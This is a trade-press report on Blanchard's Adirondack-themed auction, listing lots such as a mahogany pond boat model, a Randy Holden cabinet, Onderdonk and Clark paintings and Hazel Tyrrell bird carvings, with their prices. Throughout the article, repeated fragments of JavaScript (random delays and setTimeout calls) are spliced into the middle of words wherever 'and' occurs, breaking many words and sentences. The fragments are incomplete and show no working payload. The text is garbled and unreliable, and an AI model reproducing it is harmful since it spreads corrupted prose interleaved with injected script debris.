By: Andrea Valluzzo

SARANAC LAKE, N.Y. — Ahh, the Adirondacks in August…what could be better than lounging by the lake in a rustic twig rocker, fishing pole in one handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coffee in the other or paddling around a secluded cove in a vintage canoe?

Nearly as good would have to be bidding at auction for Adirondack andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and camp furniture or that canoe. Collectors of camp andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Adirondack furnishings had their chance at Potsdam, N.Y.-based Blanchard’s Auction Service’s Adirondack auction, which takes place every August. The Mount Pisgah Lodge hosted this year’s affair, which drew 250 registered bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than 400 online bidders who came from all over to the August 8 auction.

Case in point: the sale was set to begin that day at 11 am, with preview starting at 9 am, so auctioneer Kip Blanchard arrived just after 6 am to get ready. As he pulled his car into the ski lodge, another car, bearing Ontario plates, came in right behind him. The driver got out andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and asked if he could check out the pond boat model that was to be offered. He had driven all night from his home in Ontario just to attend the sale.

By the way, while the collector told Kip it was the nicest model boat he had seen, he was soon outbid as several other bidders shared his appreciation for the 1920s mahogany model, which came out of an estate off Chippewa Bay in New York’s iconic Thousandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands, N.Y., region andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was attributed to Hutchinson Boat Works. The 59-inch boat fetched $8,050. We hope the early bird did not leave empty-handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and found some other buys to bring back up north.

“We had a wonderful sale,” said Blanchard. “The prices throughout the day were better than average. Most of the stuff sold within estimate but to the higher side.”

As with nearly every auction, some prices fell under estimate but as buyers are always eager for bargains, this is not necessarily a bad thing. Those same buyers are likely to return here as the hunting is good.

The sale started off with one of the best buys of the sale, an Adirondack guide boat that a lucky bidder won for only $4,312, well below estimate, but prices were basically solid for most of the offerings as evinced by an 11-piece set of 1930s wicker furniture that came out of a nearby lodge. The set went three times over estimate to fetch $4,887. “The condition was so nice — perfect condition,” Blanchard noted.

The top lot of the sale was a choice piece of contemporary Adirondack furniture — as much a work of art as a piece of furniture — that drew the most excitement. The Lake George cabinet was custom made in 2006 by Maine furniture maker Random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy Holden of root, birch bark, bird’s-eye maple, elk antlers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more. Two bidders in the room went head to head with the winner prevailing at $37,950. Among vintage andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antique furniture, Old Hickory pieces also performed well in the sale, as they normally do here.

Fine art was well received in the sale. “It seems everybody always has more room for art on their walls,” Blanchard quipped after the sale. “The piece we had the most interest in the sale was a Julian Onderdonk,” said Blanchard. The autumn landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape, measuring a mere 5 by 8¾ inches, by the Texas artist went to a Texas collector for a strong $8,050. “It was a nice surprise, but the best part was it came from my fifth grade teacher from a camp he had bought with the contents. He never knew it was there.”

For years, California Impressionist Alson Skinner Clark summered on Comfort Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, part of the “Millionaire’s Row” area of New York’s Thousandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands, built by his father in the 1800s. He often painted here but as the property has been abandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andoned since the 1960s, condition was a factor with a dozen of his artworks that were offered in this auction. Despite poor condition, the works sold well, Blanchard said.

Clark’s large oil on board depicting San Juan Capistrano, circa 1919, measuring 41 by 49 inches overall, led the group at $7,187, while a circa 1911 impressionist oil on canvas that had been tacked up in the parlor above the fireplace for more than a century brought $2,875. Five small studies did well at $2,070.

A collection of contemporary bird carvings from the Tom Johnson estate were very detailed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and well done but ended up being good buys by prescient bidders. On the other handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, a grouping of folky birds by Hazel Tyrrell (1894–1967), mostly from the 1960s, performed well here. A North Country native andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and self-taught artist who relished the great outdoors, Tyrell was well known for years in upstate New York, where she whittled about 7,000 birds in her lifetime. After Varick Chittenden’s research on her was published in Adirondack Life magazine, she became famous as “the Pierrepont Birdwoman” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her works have become highly sought-after among folk art devotees.

When Blanchard first worked in auctions more than 20 years ago, he recalls selling Hazel’s birds for $15 to $30 apiece. Since the magazine article, her birds go up about ten to 20 percent in price every year, he said.

“They were extremely strong, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was nice to see there was lots of action,” Blanchard said, noting about ten bidders were chasing the birds. Highlights included a kingfisher with a trout in mouth, on birch bark base, signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated 1965, 8¼ inches tall, fetched $1,380, a yellow flicker at 7½ inches tall, dated 1966, brought $1,610, a 6-inch tall blue jay with a berry in his mouth went for $1,035 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a diminutive hummingbird took $805.

A small but nice grouping of lamps lit up the block with a Duffner andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kimberly “Adam” lamp fetching $8,050 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a signed Tiffany Studios geometric lamp, 16-inch diameter, taking $11,500.

Every fisherman has a “whale of a tale,” usually it is the one that got away. Kip Blanchard has a good story about the fish he hooked. On a recent house call, he spied a crock hidden among a sea of stuff that was perhaps not quite auction material. The lady of the house figured the crock, with a tight crack in the back, was likely only worth $5 to $10 but Kip reeled in the crock. The double-eared stoneware crock showing a horizontal fish, circa late 1860s, 11 inches tall, came out of a camp in South Colton, N.Y., andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and attained $2,875.

Rounding out the auction were a set of St Lawrence River skiff oars that hit a good price at $517, a Nineteenth Century Black Forest bear hall tree/umbrella standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, 80 inches tall, that fetched $6,325 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an oversized pack basket from the 50s at $1,092.

The sale closed with an Elto outboard motor wooden crate that Blanchard thought would sell for about $50 to $100 but soared to $575. Such is the joy of an auction — each one offers surprises. If you are kicking yourself because you missed this sale, Blanchard will hold another Adirondack-themed auction in mid-September in Tupper Lake, N.Y., during Adirondack Week, a short drive from the two Adirondack antiques shows happening that same week.

All prices reported include the buyer’s premium.

For more information, www.blanchardsauctionservice.com or 315-265-5070.